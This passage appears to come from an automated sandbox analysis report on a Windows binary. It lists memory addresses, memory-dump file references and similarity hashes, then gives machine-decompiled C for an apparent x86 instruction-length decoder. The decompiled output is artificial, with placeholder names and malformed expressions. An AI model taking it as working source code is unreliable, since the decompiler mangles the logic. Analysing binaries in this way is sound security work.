                                                                                                                                              0x6e7589d3
                                                                                                                                              0x6e7589d5
                                                                                                                                              0x6e758a16
                                                                                                                                              0x6e758a18
                                                                                                                                              0x6e758a27
                                                                                                                                              0x6e758a33
                                                                                                                                              0x6e758a33
                                                                                                                                              0x6e758a22
                                                                                                                                              0x6e758a39
                                                                                                                                              0x6e758a3e
                                                                                                                                              0x00000000
                                                                                                                                              0x6e758a3e
                                                                                                                                              0x6e758a26
                                                                                                                                              0x00000000
                                                                                                                                              0x6e75848a
                                                                                                                                              0x6e75848e
                                                                                                                                              0x6e758491
                                                                                                                                              0x6e758599
                                                                                                                                              0x6e758599
                                                                                                                                              0x6e75859e
                                                                                                                                              0x6e7586c1
                                                                                                                                              0x6e7586c5
                                                                                                                                              0x6e7586ca
                                                                                                                                              0x6e7586ce
                                                                                                                                              0x6e7586d2
                                                                                                                                              0x6e758808
                                                                                                                                              0x6e75880a
                                                                                                                                              0x6e75880e
                                                                                                                                              0x6e758817
                                                                                                                                              0x6e758822
                                                                                                                                              0x6e758826
                                                                                                                                              0x6e75882f
                                                                                                                                              0x6e758834
                                                                                                                                              0x6e75883a
                                                                                                                                              0x6e75883b
                                                                                                                                              0x6e75883f
                                                                                                                                              0x6e758843
                                                                                                                                              0x6e75884a
                                                                                                                                              0x6e75884c
                                                                                                                                              0x6e75898c
                                                                                                                                              0x6e75899d
                                                                                                                                              0x6e7589a4
                                                                                                                                              0x6e7589ab
                                                                                                                                              0x6e7589ab
                                                                                                                                              0x6e7589ae
                                                                                                                                              0x6e7589b1
                                                                                                                                              0x6e7589b4
                                                                                                                                              0x6e7589ba
                                                                                                                                              0x6e7589c1
                                                                                                                                              0x6e7589c5
                                                                                                                                              0x6e7589ce
                                                                                                                                              0x00000000
                                                                                                                                              0x6e7589ce
                                                                                                                                              0x6e7589bc
                                                                                                                                              0x6e7589bf
                                                                                                                                              0x6e7589d8
                                                                                                                                              0x6e7589f0
                                                                                                                                              0x6e7589f3
                                                                                                                                              0x6e7589f8
                                                                                                                                              0x6e758a02
                                                                                                                                              0x6e758a05
                                                                                                                                              0x6e758a08
                                                                                                                                              0x6e758a11
                                                                                                                                              0x00000000
                                                                                                                                              0x6e758a11
                                                                                                                                              0x00000000
                                                                                                                                              0x6e7589bf
                                                                                                                                              0x6e758854
                                                                                                                                              0x6e758854
                                                                                                                                              0x6e758856
                                                                                                                                              0x6e75885a
                                                                                                                                              0x6e75885f
                                                                                                                                              0x6e758861
                                                                                                                                              0x6e758865
                                                                                                                                              0x6e758868
                                                                                                                                              0x6e758870
                                                                                                                                              0x6e758872
                                                                                                                                              0x00000000
                                                                                                                                              0x00000000
                                                                                                                                              0x6e758889
                                                                                                                                              0x6e7588a4
                                                                                                                                              0x6e7588a6
                                                                                                                                              0x6e7588b4
                                                                                                                                              0x6e7588b9
                                                                                                                                              0x6e7588bb
                                                                                                                                              0x6e7588d8
                                                                                                                                              0x6e7588d8
                                                                                                                                              0x6e7588dc
                                                                                                                                              0x6e7588de
                                                                                                                                              0x00000000
                                                                                                                                              0x00000000
                                                                                                                                              0x6e7588e0
                                                                                                                                              0x6e7588e3
                                                                                                                                              0x6e758904
                                                                                                                                              0x6e758923
                                                                                                                                              0x6e758929
                                                                                                                                              0x6e75892c
                                                                                                                                              0x6e758931
                                                                                                                                              0x6e758932
                                                                                                                                              0x6e758939
                                                                                                                                              0x00000000
                                                                                                                                              0x00000000
                                                                                                                                              0x6e758941
                                                                                                                                              0x6e758941
                                                                                                                                              0x6e758943
                                                                                                                                              0x6e75894f
                                                                                                                                              0x6e75895b
                                                                                                                                              0x6e75897d
                                                                                                                                              0x6e758982
                                                                                                                                              0x6e758983
                                                                                                                                              0x6e758983
                                                                                                                                              0x00000000
                                                                                                                                              0x6e758943
                                                                                                                                              0x00000000
                                                                                                                                              0x6e7588e3
                                                                                                                                              0x6e7588bd
                                                                                                                                              0x6e7588c3
                                                                                                                                              0x6e7588c5
                                                                                                                                              0x6e7588c6
                                                                                                                                              0x6e7588c7
                                                                                                                                              0x6e7588c8
                                                                                                                                              0x6e7588cc
                                                                                                                                              0x6e7588d0
                                                                                                                                              0x6e7588d2
                                                                                                                                              0x6e7588d3
                                                                                                                                              0x6e7588d4
                                                                                                                                              0x6e7588d6
                                                                                                                                              0x00000000
                                                                                                                                              0x00000000
                                                                                                                                              0x00000000
                                                                                                                                              0x6e7588d6
                                                                                                                                              0x6e7588e9
                                                                                                                                              0x00000000
                                                                                                                                              0x6e7588e9
                                                                                                                                              0x6e7586d8
                                                                                                                                              0x6e7586da
                                                                                                                                              0x6e7586dc
                                                                                                                                              0x00000000
                                                                                                                                              0x00000000
                                                                                                                                              0x6e7586e6
                                                                                                                                              0x6e7586e6
                                                                                                                                              0x6e7586e8
                                                                                                                                              0x6e7586eb
                                                                                                                                              0x6e7586ed
                                                                                                                                              0x6e7586f5
                                                                                                                                              0x6e7586fc
                                                                                                                                              0x6e758700
                                                                                                                                              0x6e758703
                                                                                                                                              0x00000000
                                                                                                                                              0x00000000
                                                                                                                                              0x6e7587ff
                                                                                                                                              0x6e758800
                                                                                                                                              0x6e758802
                                                                                                                                              0x00000000
                                                                                                                                              0x00000000
                                                                                                                                              0x00000000
                                                                                                                                              0x6e758802
                                                                                                                                              0x6e758709
                                                                                                                                              0x6e75870c
                                                                                                                                              0x6e758715
                                                                                                                                              0x6e75871a
                                                                                                                                              0x6e75871c
                                                                                                                                              0x6e758728
                                                                                                                                              0x6e75872c
                                                                                                                                              0x6e758731
                                                                                                                                              0x6e758735
                                                                                                                                              0x6e758b12
                                                                                                                                              0x6e758b26
                                                                                                                                              0x6e758b48
                                                                                                                                              0x6e758b4d
                                                                                                                                              0x6e758b4d
                                                                                                                                              0x6e75874b
                                                                                                                                              0x6e758750
                                                                                                                                              0x6e758754
                                                                                                                                              0x6e758754
                                                                                                                                              0x6e758754
                                                                                                                                              0x6e758754
                                                                                                                                              0x6e758759
                                                                                                                                              0x6e75875e
                                                                                                                                              0x6e758760
                                                                                                                                              0x6e758764
                                                                                                                                              0x6e75876b
                                                                                                                                              0x6e758770
                                                                                                                                              0x6e758772
                                                                                                                                              0x6e758ad3
                                                                                                                                              0x6e758ae2
                                                                                                                                              0x6e758afb
                                                                                                                                              0x6e758b00
                                                                                                                                              0x6e758b00
                                                                                                                                              0x6e758785
                                                                                                                                              0x6e75878a
                                                                                                                                              0x6e75878e
                                                                                                                                              0x6e75878e
                                                                                                                                              0x6e75878e
                                                                                                                                              0x6e7587a0
                                                                                                                                              0x6e7587c1
                                                                                                                                              0x6e7587c9
                                                                                                                                              0x6e7587d7
                                                                                                                                              0x6e7587f5
                                                                                                                                              0x6e7587fb
                                                                                                                                              0x6e7587fb
                                                                                                                                              0x00000000
                                                                                                                                              0x6e75870c
                                                                                                                                              0x6e7585a4
                                                                                                                                              0x6e7585a4
                                                                                                                                              0x6e7585a6
                                                                                                                                              0x6e7585ad
                                                                                                                                              0x6e7585bb
                                                                                                                                              0x6e7585bd
                                                                                                                                              0x6e7585c1
                                                                                                                                              0x6e7585c3
                                                                                                                                              0x6e7585c5
                                                                                                                                              0x6e758600
                                                                                                                                              0x6e75860f
                                                                                                                                              0x6e758611
                                                                                                                                              0x6e758613
                                                                                                                                              0x6e758631
                                                                                                                                              0x6e758633
                                                                                                                                              0x6e758635
                                                                                                                                              0x6e758647
                                                                                                                                              0x6e758665
                                                                                                                                              0x6e75866e
                                                                                                                                              0x6e758671
                                                                                                                                              0x6e75867f
                                                                                                                                              0x6e758690
                                                                                                                                              0x6e7586ae
                                                                                                                                              0x6e7586b0
                                                                                                                                              0x6e7586b4
                                                                                                                                              0x6e7586b4
                                                                                                                                              0x6e7586b4
                                                                                                                                              0x6e758635
                                                                                                                                              0x00000000
                                                                                                                                              0x6e758613
                                                                                                                                              0x6e7585cb
                                                                                                                                              0x6e7585cb
                                                                                                                                              0x6e7585d0
                                                                                                                                              0x6e7585d7
                                                                                                                                              0x6e7585e6
                                                                                                                                              0x6e7585ed
                                                                                                                                              0x6e7585ef
                                                                                                                                              0x00000000
                                                                                                                                              0x00000000
                                                                                                                                              0x6e7585fb
                                                                                                                                              0x6e7585fc
                                                                                                                                              0x6e7585fe
                                                                                                                                              0x00000000
                                                                                                                                              0x00000000
                                                                                                                                              0x00000000
                                                                                                                                              0x6e7585fe
                                                                                                                                              0x6e7585f1
                                                                                                                                              0x6e7585f4
                                                                                                                                              0x00000000
                                                                                                                                              0x00000000
                                                                                                                                              0x6e7586b6
                                                                                                                                              0x6e7586b6
                                                                                                                                              0x6e7586b7
                                                                                                                                              0x6e7586b7
                                                                                                                                              0x00000000
                                                                                                                                              0x6e758497
                                                                                                                                              0x6e758497
                                                                                                                                              0x6e758497
                                                                                                                                              0x6e758499
                                                                                                                                              0x6e7584a0
                                                                                                                                              0x6e7584ae
                                                                                                                                              0x6e7584b0
                                                                                                                                              0x6e7584b4
                                                                                                                                              0x6e7584b6
                                                                                                                                              0x6e7584e2
                                                                                                                                              0x6e7584e6
                                                                                                                                              0x6e7584eb
                                                                                                                                              0x6e7584f0
                                                                                                                                              0x6e7584f4
                                                                                                                                              0x6e7584f8
                                                                                                                                              0x6e7584ff
                                                                                                                                              0x6e758504
                                                                                                                                              0x6e758506
                                                                                                                                              0x6e758a95
                                                                                                                                              0x6e758aa4
                                                                                                                                              0x6e758ac3
                                                                                                                                              0x6e758ac8
                                                                                                                                              0x6e758ac8
                                                                                                                                              0x6e758519
                                                                                                                                              0x6e75851e
                                                                                                                                              0x6e758522
                                                                                                                                              0x6e758522
                                                                                                                                              0x6e758522
                                                                                                                                              0x6e758533
                                                                                                                                              0x6e758535
                                                                                                                                              0x6e758537
                                                                                                                                              0x6e758548
                                                                                                                                              0x6e758548
                                                                                                                                              0x6e75854d
                                                                                                                                              0x6e758552
                                                                                                                                              0x6e758556
                                                                                                                                              0x6e75855b
                                                                                                                                              0x6e758562
                                                                                                                                              0x6e758567
                                                                                                                                              0x6e758569
                                                                                                                                              0x6e758a57
                                                                                                                                              0x6e758a63
                                                                                                                                              0x6e758a7d
                                                                                                                                              0x6e758a82
                                                                                                                                              0x6e758a82
                                                                                                                                              0x6e75857f
                                                                                                                                              0x6e758584
                                                                                                                                              0x6e758588
                                                                                                                                              0x6e758588
                                                                                                                                              0x6e758588
                                                                                                                                              0x6e758588
                                                                                                                                              0x6e75858b
                                                                                                                                              0x6e75858b
                                                                                                                                              0x00000000
                                                                                                                                              0x6e75858b
                                                                                                                                              0x6e7584ba
                                                                                                                                              0x6e7584ba
                                                                                                                                              0x6e7584bc
                                                                                                                                              0x6e7584c8
                                                                                                                                              0x6e7584cf
                                                                                                                                              0x6e7584d1
                                                                                                                                              0x00000000
                                                                                                                                              0x00000000
                                                                                                                                              0x6e7584dd
                                                                                                                                              0x6e7584de
                                                                                                                                              0x6e7584e0
                                                                                                                                              0x00000000
                                                                                                                                              0x00000000
                                                                                                                                              0x00000000
                                                                                                                                              0x6e7584e0
                                                                                                                                              0x6e7584d3
                                                                                                                                              0x6e7584d6
                                                                                                                                              0x00000000
                                                                                                                                              0x00000000
                                                                                                                                              0x6e75858c
                                                                                                                                              0x6e758590
                                                                                                                                              0x6e758591
                                                                                                                                              0x6e758591
                                                                                                                                              0x00000000
                                                                                                                                              0x6e758499
                                                                                                                                              0x6e758491

                                                                                                                                              Strings
                                                                                                                                              Memory Dump Source
                                                                                                                                              • Source File: 00000000.00000002.1053702891.000000006E751000.00000020.00020000.sdmp, Offset: 6E750000, based on PE: true
                                                                                                                                              • Associated: 00000000.00000002.1053637516.000000006E750000.00000002.00020000.sdmp Download File
                                                                                                                                              • Associated: 00000000.00000002.1054610661.000000006E76A000.00000002.00020000.sdmp Download File
                                                                                                                                              • Associated: 00000000.00000002.1054660765.000000006E76D000.00000004.00020000.sdmp Download File
                                                                                                                                              • Associated: 00000000.00000002.1054725426.000000006E76F000.00000002.00020000.sdmp Download File
                                                                                                                                              Yara matches
                                                                                                                                              Similarity
                                                                                                                                              • API ID:
                                                                                                                                              • String ID:
                                                                                                                                              • API String ID: 0-3916222277
                                                                                                                                              • Opcode ID: 9a13bbcdb8a7fdc555e9a0211e3fd7581dabdceb63bb39cc66d0c75505442aad
                                                                                                                                              • Instruction ID: 752f0289b66fe0fd7050e2c295e3083769651a3c30699dc0e56c7ea6e8ee42b7
                                                                                                                                              • Opcode Fuzzy Hash: 9a13bbcdb8a7fdc555e9a0211e3fd7581dabdceb63bb39cc66d0c75505442aad
                                                                                                                                              • Instruction Fuzzy Hash: E5126F712182059FD718EFA4CA94AAEB7E9EF85308F104D2DE599873B1DF30AC15CB52
                                                                                                                                              Uniqueness

                                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                                              C-Code - Quality: 100%
                                                                                                                                              			E6E769370(intOrPtr __ecx, intOrPtr __edx, void* __eflags) {
                                                                                                                                              				signed int _t250;
                                                                                                                                              				signed char _t251;
                                                                                                                                              				signed char* _t254;
                                                                                                                                              				char _t255;
                                                                                                                                              				signed short _t256;
                                                                                                                                              				char _t257;
                                                                                                                                              				signed short _t260;
                                                                                                                                              				signed int _t261;
                                                                                                                                              				signed int _t262;
                                                                                                                                              				void* _t264;
                                                                                                                                              				void* _t272;
                                                                                                                                              				void* _t273;
                                                                                                                                              				signed short* _t274;
                                                                                                                                              				signed char _t275;
                                                                                                                                              				signed int _t277;
                                                                                                                                              				signed int _t278;
                                                                                                                                              				void* _t282;
                                                                                                                                              				signed int _t288;
                                                                                                                                              				unsigned int _t290;
                                                                                                                                              				signed int _t292;
                                                                                                                                              				signed int _t293;
                                                                                                                                              				signed int _t294;
                                                                                                                                              				signed int _t295;
                                                                                                                                              				unsigned int _t296;
                                                                                                                                              				unsigned int _t297;
                                                                                                                                              				signed int _t299;
                                                                                                                                              				unsigned int _t301;
                                                                                                                                              				signed char _t302;
                                                                                                                                              				signed int _t304;
                                                                                                                                              				signed char _t307;
                                                                                                                                              				signed char _t308;
                                                                                                                                              				signed int _t309;
                                                                                                                                              				void* _t312;
                                                                                                                                              				void* _t313;
                                                                                                                                              				signed int _t314;
                                                                                                                                              				signed int _t316;
                                                                                                                                              				signed int _t319;
                                                                                                                                              				signed int _t321;
                                                                                                                                              				signed int _t338;
                                                                                                                                              				signed int _t339;
                                                                                                                                              				signed int _t343;
                                                                                                                                              				signed int _t345;
                                                                                                                                              				unsigned int* _t346;
                                                                                                                                              				unsigned int _t354;
                                                                                                                                              				signed int _t355;
                                                                                                                                              				void* _t357;
                                                                                                                                              				signed int _t364;
                                                                                                                                              				signed int _t366;
                                                                                                                                              				signed int _t383;
                                                                                                                                              				signed int _t388;
                                                                                                                                              				signed int _t391;
                                                                                                                                              				signed int _t395;
                                                                                                                                              				signed int _t396;
                                                                                                                                              				signed int _t397;
                                                                                                                                              				signed int _t398;
                                                                                                                                              				signed int _t399;
                                                                                                                                              				signed int _t400;
                                                                                                                                              				signed int _t403;
                                                                                                                                              				signed int _t408;
                                                                                                                                              				signed int _t411;
                                                                                                                                              				signed int _t412;
                                                                                                                                              				signed int _t413;
                                                                                                                                              				signed int _t417;
                                                                                                                                              				signed int _t419;
                                                                                                                                              				signed int _t424;
                                                                                                                                              				void* _t426;
                                                                                                                                              				signed int* _t427;
                                                                                                                                              
                                                                                                                                              				 *((intOrPtr*)(_t426 + 0x24)) = __edx;
                                                                                                                                              				 *((intOrPtr*)(_t426 + 0x10)) = __ecx;
                                                                                                                                              				 *((intOrPtr*)(_t426 + 0x14)) = __ecx;
                                                                                                                                              				_t274 =  *(_t426 + 0x48);
                                                                                                                                              				E6E763698( *(_t426 + 0x48), 0, 0x1c);
                                                                                                                                              				_t427 = _t426 + 0xc;
                                                                                                                                              				_t338 = 0;
                                                                                                                                              				_t282 = 0x10;
                                                                                                                                              				do {
                                                                                                                                              					_t250 =  *_t274 & 0x000000ff;
                                                                                                                                              					_t274 =  &(_t274[0]);
                                                                                                                                              					if(_t250 == 0xf3) {
                                                                                                                                              						_t383 = _t427[0x10];
                                                                                                                                              						_t339 = _t338 | 0x00000004;
                                                                                                                                              						L17:
                                                                                                                                              						_t338 = _t339 & 0x000000ff;
                                                                                                                                              						 *(_t383 + 1) = _t250;
                                                                                                                                              						goto L18;
                                                                                                                                              					}
                                                                                                                                              					if(_t250 == 0xf2) {
                                                                                                                                              						_t383 = _t427[0x10];
                                                                                                                                              						_t339 = _t338 | 0x00000002;
                                                                                                                                              						goto L17;
                                                                                                                                              					}
                                                                                                                                              					if(_t250 == 0xf0) {
                                                                                                                                              						_t338 = (_t338 | 0x00000020) & 0x000000ff;
                                                                                                                                              						 *(_t427[0x10] + 2) = _t250;
                                                                                                                                              						goto L18;
                                                                                                                                              					}
                                                                                                                                              					if(_t250 == 0x26 || _t250 == 0x2e || _t250 == 0x36 || _t250 == 0x3e) {
                                                                                                                                              						L13:
                                                                                                                                              						_t338 = (_t338 | 0x00000040) & 0x000000ff;
                                                                                                                                              						 *(_t427[0x10] + 3) = _t250;
                                                                                                                                              					} else {
                                                                                                                                              						_t6 = _t250 - 0x64; // -100
                                                                                                                                              						if(_t6 <= 1) {
                                                                                                                                              							goto L13;
                                                                                                                                              						}
                                                                                                                                              						if(_t250 == 0x66) {
                                                                                                                                              							_t338 = (_t338 | 0x00000008) & 0x000000ff;
                                                                                                                                              							 *(_t427[0x10] + 4) = _t250;
                                                                                                                                              							goto L18;
                                                                                                                                              						}
                                                                                                                                              						if(_t250 != 0x67) {
                                                                                                                                              							break;
                                                                                                                                              						} else {
                                                                                                                                              							_t338 = _t338 | 0x00000010;
                                                                                                                                              							 *(_t427[0x10] + 5) = _t250;
                                                                                                                                              							goto L18;
                                                                                                                                              						}
                                                                                                                                              					}
                                                                                                                                              					L18:
                                                                                                                                              					_t282 = _t282 + 0xff;
                                                                                                                                              				} while (_t282 != 0);
                                                                                                                                              				_t388 = _t427[0x10];
                                                                                                                                              				_t285 =  !=  ? _t338 : 1;
                                                                                                                                              				_t343 = _t338 << 0x17;
                                                                                                                                              				 *(_t388 + 6) = _t250;
                                                                                                                                              				 *_t427 =  !=  ? _t338 : 1;
                                                                                                                                              				 *(_t388 + 0x18) = _t343;
                                                                                                                                              				if(_t250 == 0xf) {
                                                                                                                                              					_t250 =  *_t274 & 0x000000ff;
                                                                                                                                              					_t274 =  &(_t274[0]);
                                                                                                                                              					_t427[5] = _t250;
                                                                                                                                              					 *(_t427[0x10] + 7) = _t250;
                                                                                                                                              					_t427[2] = _t427[4] + 0x4a;
                                                                                                                                              				} else {
                                                                                                                                              					_t22 = _t250 - 0xa0; // -160
                                                                                                                                              					_t427[5] =  *(_t427[0x10] + 7) & 0x000000ff;
                                                                                                                                              					if(_t22 <= 3) {
                                                                                                                                              						_t424 =  *_t427;
                                                                                                                                              						_t382 =  !=  ? (_t424 | 0x00000008) & 0x000000ff : _t424 & 0x000000f7;
                                                                                                                                              						 *_t427 =  !=  ? (_t424 | 0x00000008) & 0x000000ff : _t424 & 0x000000f7;
                                                                                                                                              					}
                                                                                                                                              				}
                                                                                                                                              				_t354 = _t250 >> 2;
                                                                                                                                              				_t391 = _t250 & 0x00000003;
                                                                                                                                              				_t345 = _t427[2];
                                                                                                                                              				_t427[3] = _t391;
                                                                                                                                              				_t427[6] = _t354;
                                                                                                                                              				_t288 =  *(( *(_t354 + _t345) & 0x000000ff) + _t391 + _t345) & 0x000000ff;
                                                                                                                                              				_t427[1] = _t288;
                                                                                                                                              				if(_t288 == 0xff) {
                                                                                                                                              					_t343 = _t343 + 0x3000;
                                                                                                                                              					_t288 = 0 | (_t250 & 0xfffffffd) == 0x00000024;
                                                                                                                                              					 *(_t427[0x10] + 0x18) = _t343;
                                                                                                                                              					_t427[1] = _t288;
                                                                                                                                              				}
                                                                                                                                              				if((_t427[1] & 0x00000080) != 0) {
                                                                                                                                              					_t290 =  *((_t288 & 0x0000007f) + _t345) & 0x0000ffff;
                                                                                                                                              					_t427[1] = _t290;
                                                                                                                                              					_t395 = _t290 >> 8;
                                                                                                                                              				} else {
                                                                                                                                              					_t395 = 0;
                                                                                                                                              				}
                                                                                                                                              				if(_t427[5] != 0 && ( *_t427 &  *(( *(_t427[6] + _t427[4] + 0x130) & 0x000000ff) + _t427[3] + _t427[4] + 0x130) & 0x000000ff) != 0) {
                                                                                                                                              					_t343 = _t343 | 0x00003000;
                                                                                                                                              					 *(_t427[0x10] + 0x18) = _t343;
                                                                                                                                              				}
                                                                                                                                              				if((_t427[1] & 0x00000001) == 0) {
                                                                                                                                              					if(( *_t427 & 0x00000020) != 0) {
                                                                                                                                              						_t343 = _t343 | 0x00009000;
                                                                                                                                              						 *(_t427[0x10] + 0x18) = _t343;
                                                                                                                                              					}
                                                                                                                                              					goto L114;
                                                                                                                                              				} else {
                                                                                                                                              					_t355 = _t427[0x10];
                                                                                                                                              					_t343 = _t343 | 0x00000001;
                                                                                                                                              					 *(_t355 + 0x18) = _t343;
                                                                                                                                              					_t296 =  *_t274 & 0x000000ff;
                                                                                                                                              					_t346 =  &(_t427[6]);
                                                                                                                                              					 *_t346 = _t296;
                                                                                                                                              					 *(_t355 + 8) = _t296;
                                                                                                                                              					_t297 = _t296 >> 6;
                                                                                                                                              					_t427[3] = _t297;
                                                                                                                                              					 *(_t355 + 9) = _t297;
                                                                                                                                              					_t299 =  *_t346 & 0x00000007;
                                                                                                                                              					_t427[7] = _t299;
                                                                                                                                              					 *(_t355 + 0xb) = _t299;
                                                                                                                                              					_t301 =  *_t346 & 0x0000003f;
                                                                                                                                              					 *_t346 = _t301;
                                                                                                                                              					_t302 = _t301 >> 3;
                                                                                                                                              					_t427[2] = _t302;
                                                                                                                                              					 *(_t355 + 0xa) = _t302;
                                                                                                                                              					if(_t395 != 0 && (_t395 << _t302 & 0x00000080) != 0) {
                                                                                                                                              						_t343 = _t343 | 0x00003000;
                                                                                                                                              						 *(_t427[0x10] + 0x18) = _t343;
                                                                                                                                              					}
                                                                                                                                              					if(_t427[5] == 0) {
                                                                                                                                              						_t80 = _t250 - 0xd9; // -217
                                                                                                                                              						if(_t80 <= 6) {
                                                                                                                                              							_t81 = _t250 + 0x27; // 0x27
                                                                                                                                              							_t417 = _t81 & 0x000000ff;
                                                                                                                                              							if(_t427[3] != 3) {
                                                                                                                                              								_t419 = ( *(_t417 + _t427[4] + 0xf1) & 0x000000ff) << _t427[2];
                                                                                                                                              							} else {
                                                                                                                                              								_t419 = ( *(_t427[4] + _t427[2] + 0xf8 + _t417 * 8) & 0x000000ff) << _t427[7];
                                                                                                                                              							}
                                                                                                                                              							if((_t419 & 0x00000080) != 0) {
                                                                                                                                              								_t343 = _t343 | 0x00003000;
                                                                                                                                              								 *(_t427[0x10] + 0x18) = _t343;
                                                                                                                                              							}
                                                                                                                                              						}
                                                                                                                                              					}
                                                                                                                                              					if(( *_t427 & 0x00000020) == 0) {
                                                                                                                                              						L52:
                                                                                                                                              						if(_t427[5] == 0) {
                                                                                                                                              							if(_t250 == 0x8c) {
                                                                                                                                              								L85:
                                                                                                                                              								if(_t427[2] <= 5) {
                                                                                                                                              									L87:
                                                                                                                                              									_t427[5] = _t274[0];
                                                                                                                                              									_t427[4] =  &(_t274[1]);
                                                                                                                                              									if(_t427[2] <= 1) {
                                                                                                                                              										if(_t250 != 0xf6) {
                                                                                                                                              											_t309 = _t427[1];
                                                                                                                                              											_t310 =  ==  ? _t309 | 0xffffff90 : _t309;
                                                                                                                                              											_t427[1] =  ==  ? _t309 | 0xffffff90 : _t309;
                                                                                                                                              										} else {
                                                                                                                                              											_t427[1] = _t427[1] | 0xffffff82;
                                                                                                                                              										}
                                                                                                                                              									}
                                                                                                                                              									if(_t427[3] == 0) {
                                                                                                                                              										if(( *_t427 & 0x00000010) == 0) {
                                                                                                                                              											_t264 = 4;
                                                                                                                                              											_t357 =  ==  ? _t264 : 0;
                                                                                                                                              										} else {
                                                                                                                                              											_t273 = 2;
                                                                                                                                              											_t357 =  ==  ? _t273 : 0;
                                                                                                                                              										}
                                                                                                                                              									} else {
                                                                                                                                              										if(_t427[3] == 1) {
                                                                                                                                              											_t357 = 1;
                                                                                                                                              										} else {
                                                                                                                                              											if(_t427[3] == 2) {
                                                                                                                                              												_t357 = (( !( *_t427) & 0x00000010) >> 3) + 2;
                                                                                                                                              											} else {
                                                                                                                                              												_t357 = 0;
                                                                                                                                              											}
                                                                                                                                              										}
                                                                                                                                              									}
                                                                                                                                              									if(_t427[3] != 3 && _t427[7] == 4 && ( *_t427 & 0x00000010) == 0) {
                                                                                                                                              										_t307 = _t427[5];
                                                                                                                                              										_t343 = _t343 | 0x00000002;
                                                                                                                                              										_t403 = _t427[0x10];
                                                                                                                                              										_t427[4] =  &(_t274[1]);
                                                                                                                                              										 *(_t403 + 0xc) = _t307;
                                                                                                                                              										_t308 = _t307 & 0x00000007;
                                                                                                                                              										 *(_t403 + 0x18) = _t343;
                                                                                                                                              										 *(_t403 + 0xd) = _t307 >> 6;
                                                                                                                                              										 *(_t403 + 0xe) = (_t307 & 0x0000003f) >> 3;
                                                                                                                                              										 *(_t403 + 0xf) = _t308;
                                                                                                                                              										if(_t308 == 5) {
                                                                                                                                              											_t272 = 4;
                                                                                                                                              											_t357 =  ==  ? _t272 : _t357;
                                                                                                                                              										}
                                                                                                                                              									}
                                                                                                                                              									if(_t357 == 1) {
                                                                                                                                              										_t304 = _t427[0x10];
                                                                                                                                              										_t343 = _t343 | 0x00000020;
                                                                                                                                              										 *(_t304 + 0x18) = _t343;
                                                                                                                                              										 *((char*)(_t304 + 0x14)) =  *(_t427[4] - 1);
                                                                                                                                              									} else {
                                                                                                                                              										if(_t357 == 2) {
                                                                                                                                              											_t277 = _t427[0x10];
                                                                                                                                              											_t343 = _t343 | 0x00000040;
                                                                                                                                              											 *(_t277 + 0x18) = _t343;
                                                                                                                                              											 *((short*)(_t277 + 0x14)) =  *(_t427[4] - 1) & 0x0000ffff;
                                                                                                                                              										} else {
                                                                                                                                              											if(_t357 == 4) {
                                                                                                                                              												_t278 = _t427[0x10];
                                                                                                                                              												_t343 = _t343 | 0x00000080;
                                                                                                                                              												 *(_t278 + 0x18) = _t343;
                                                                                                                                              												 *(_t278 + 0x14) =  *(_t427[4] - 1);
                                                                                                                                              											}
                                                                                                                                              										}
                                                                                                                                              									}
                                                                                                                                              									_t195 = _t427[4] - 1; // -1
                                                                                                                                              									_t274 = _t357 + _t195;
                                                                                                                                              									L114:
                                                                                                                                              									_t251 = _t427[1];
                                                                                                                                              									_t292 = _t251 & 0x00000040;
                                                                                                                                              									if((_t251 & 0x00000010) == 0) {
                                                                                                                                              										L121:
                                                                                                                                              										if((_t427[1] & 0x00000004) == 0) {
                                                                                                                                              											L129:
                                                                                                                                              											if((_t427[1] & 0x00000002) != 0) {
                                                                                                                                              												_t396 = _t427[0x10];
                                                                                                                                              												_t343 = _t343 | 0x00000004;
                                                                                                                                              												 *(_t396 + 0x18) = _t343;
                                                                                                                                              												_t257 =  *_t274;
                                                                                                                                              												_t274 =  &(_t274[0]);
                                                                                                                                              												 *((char*)(_t396 + 0x10)) = _t257;
                                                                                                                                              											}
                                                                                                                                              											if(_t292 == 0) {
                                                                                                                                              												if((_t427[1] & 0x00000020) != 0) {
                                                                                                                                              													_t293 = _t427[0x10];
                                                                                                                                              													_t343 = _t343 | 0x00000104;
                                                                                                                                              													 *(_t293 + 0x18) = _t343;
                                                                                                                                              													_t255 =  *_t274;
                                                                                                                                              													_t274 =  &(_t274[0]);
                                                                                                                                              													 *((char*)(_t293 + 0x10)) = _t255;
                                                                                                                                              												}
                                                                                                                                              												goto L135;
                                                                                                                                              											} else {
                                                                                                                                              												L132:
                                                                                                                                              												_t294 = _t427[0x10];
                                                                                                                                              												_t343 = _t343 | 0x00000110;
                                                                                                                                              												 *(_t294 + 0x18) = _t343;
                                                                                                                                              												_t256 =  *_t274;
                                                                                                                                              												_t274 =  &(_t274[2]);
                                                                                                                                              												 *(_t294 + 0x10) = _t256;
                                                                                                                                              												L135:
                                                                                                                                              												_t275 = _t274 - _t427[0xf];
                                                                                                                                              												if(_t275 <= 0xf) {
                                                                                                                                              													 *(_t427[0x10]) = _t275;
                                                                                                                                              												} else {
                                                                                                                                              													_t254 = _t427[0x10];
                                                                                                                                              													_t275 = 0xf;
                                                                                                                                              													_t254[0x18] = _t343 | 0x00005000;
                                                                                                                                              													 *_t254 = _t275;
                                                                                                                                              												}
                                                                                                                                              												return _t275 & 0x000000ff;
                                                                                                                                              											}
                                                                                                                                              										}
                                                                                                                                              										if((_t343 & 0x00000010) == 0) {
                                                                                                                                              											if((_t343 & 0x00000008) == 0) {
                                                                                                                                              												_t397 = _t427[0x10];
                                                                                                                                              												_t343 = _t343 | 0x00000008;
                                                                                                                                              												 *(_t397 + 0x18) = _t343;
                                                                                                                                              												 *((short*)(_t397 + 0x10)) =  *_t274 & 0x0000ffff;
                                                                                                                                              												L128:
                                                                                                                                              												_t274 =  &(_t274[1]);
                                                                                                                                              												goto L129;
                                                                                                                                              											}
                                                                                                                                              											_t398 = _t427[0x10];
                                                                                                                                              											_t343 = _t343 | 0x00000800;
                                                                                                                                              											L126:
                                                                                                                                              											 *(_t398 + 0x18) = _t343;
                                                                                                                                              											 *((short*)(_t398 + 0x14)) =  *_t274 & 0x0000ffff;
                                                                                                                                              											goto L128;
                                                                                                                                              										}
                                                                                                                                              										_t398 = _t427[0x10];
                                                                                                                                              										_t343 = _t343 | 0x00000008;
                                                                                                                                              										goto L126;
                                                                                                                                              									}
                                                                                                                                              									if(_t292 == 0) {
                                                                                                                                              										if(( *_t427 & 0x00000008) == 0) {
                                                                                                                                              											_t399 = _t427[0x10];
                                                                                                                                              											_t343 = _t343 | 0x00000010;
